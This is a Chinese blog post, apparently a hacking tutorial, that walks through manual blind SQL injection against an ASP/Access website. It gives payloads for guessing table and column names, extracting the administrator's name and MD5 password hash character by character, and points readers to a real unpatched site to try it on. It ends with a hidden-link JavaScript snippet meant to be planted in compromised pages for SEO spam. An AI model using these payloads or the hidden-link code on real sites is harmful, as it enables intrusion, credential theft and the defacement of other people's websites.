一切为了暗链,菜鸟跟我一起来ASP手工注入
白大王提示:非法入侵是会吃窝窝头、遭遇躲猫猫的。具体详情请参考:http://www.llsilver.com/mood/blog_shuoming.html
前几天说过本大王这段时间又再温习大学期间的那点皮毛。本大王只是为了暗链,没有拿Shell。后台有图片上传的地方,应该可以抓包,然后NC提交拿到Shell,没有去试。图片中的地址都是真实的,因为没有找到管理员的联系方式,也就没有修复漏洞。
第一步:判断数据库类型。
首先使用and user>0判断数据库类型,看到回显中的Microsoft JET Database*** 错误我们可以断定是ACCESS数据库了。
如图1:
第二步:猜解表名。
接着使用and exists (select * from 表名) 猜解表名,返回正常则说明表名存在,
如图2:
这个例子中我们输入and exists (select * from admin),返回正常(如图2),说明我们输入的表admin存在。
第三步:猜解列名
exists (select 列名 from 表名) 猜解列名,返回正常则代表列名存在,
如图4:
第四步:猜解列名的长度。
and (select top 1 len(列名) from 表名)>x 猜解列的长度。x是数字,代表列名的长度,返回错误说明正确列的长度就是x。变换top后的数字就可以猜解这个列的第N行长度。
第五步:猜解列内容。
and (select top 1 asc(mid(列名,列数N,1)) from 表名)>x 关键步骤,猜解列内容。
top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字或字母。例如,x取50正常,100错误,80正常,一直提交到96正常,97就错误,说明其ASCII值为97。
这里我们输入:and (select top 1 asc(mid(admin,1,1)) from admin)>90
90正常、100出错、95正常、98出错、96正常、97出错。(大家可以实例演示,地址在图片里面。)
说明第一位ASCII为97,转换下为a。
ASCII表:http://www.llsilver.com/little-tool.asp
以此类推。按照上面的方法,依次猜解出另外几位列内容,使用工具转换下。
第六步:猜解密码。
剩下的密码列的内容猜解方法和上面一样。不过比较麻烦,需要耐心。因为一般密码都是MD5加密了,需要猜解很多次。(昨天郁闷死了,猜了半天终于才出来个密码,居然解不开。)
and (select top 1 len(password) from admin)>16---16位MD5加密 猜解到密码,列的长度为16位,16位MD5加密了。
去MD5加解密的网站查了一下,有一个密码能解出来,还有一个不行。(好辛苦,幸亏MD5能解密出来,不然努力就白费了)
第七步:拿Shell(本大王只是为了暗链。)
给一段暗链代码:
<script language="JavaScript" type="text/javascript">
document.write( "<div style='display:none'>" );
</script>
<div>
<a target="_blank" href="http://www.llsilver.com/"></a>
</div>
<script language="JavaScript" type="text/javascript">
document.write( "</div>" );
</script>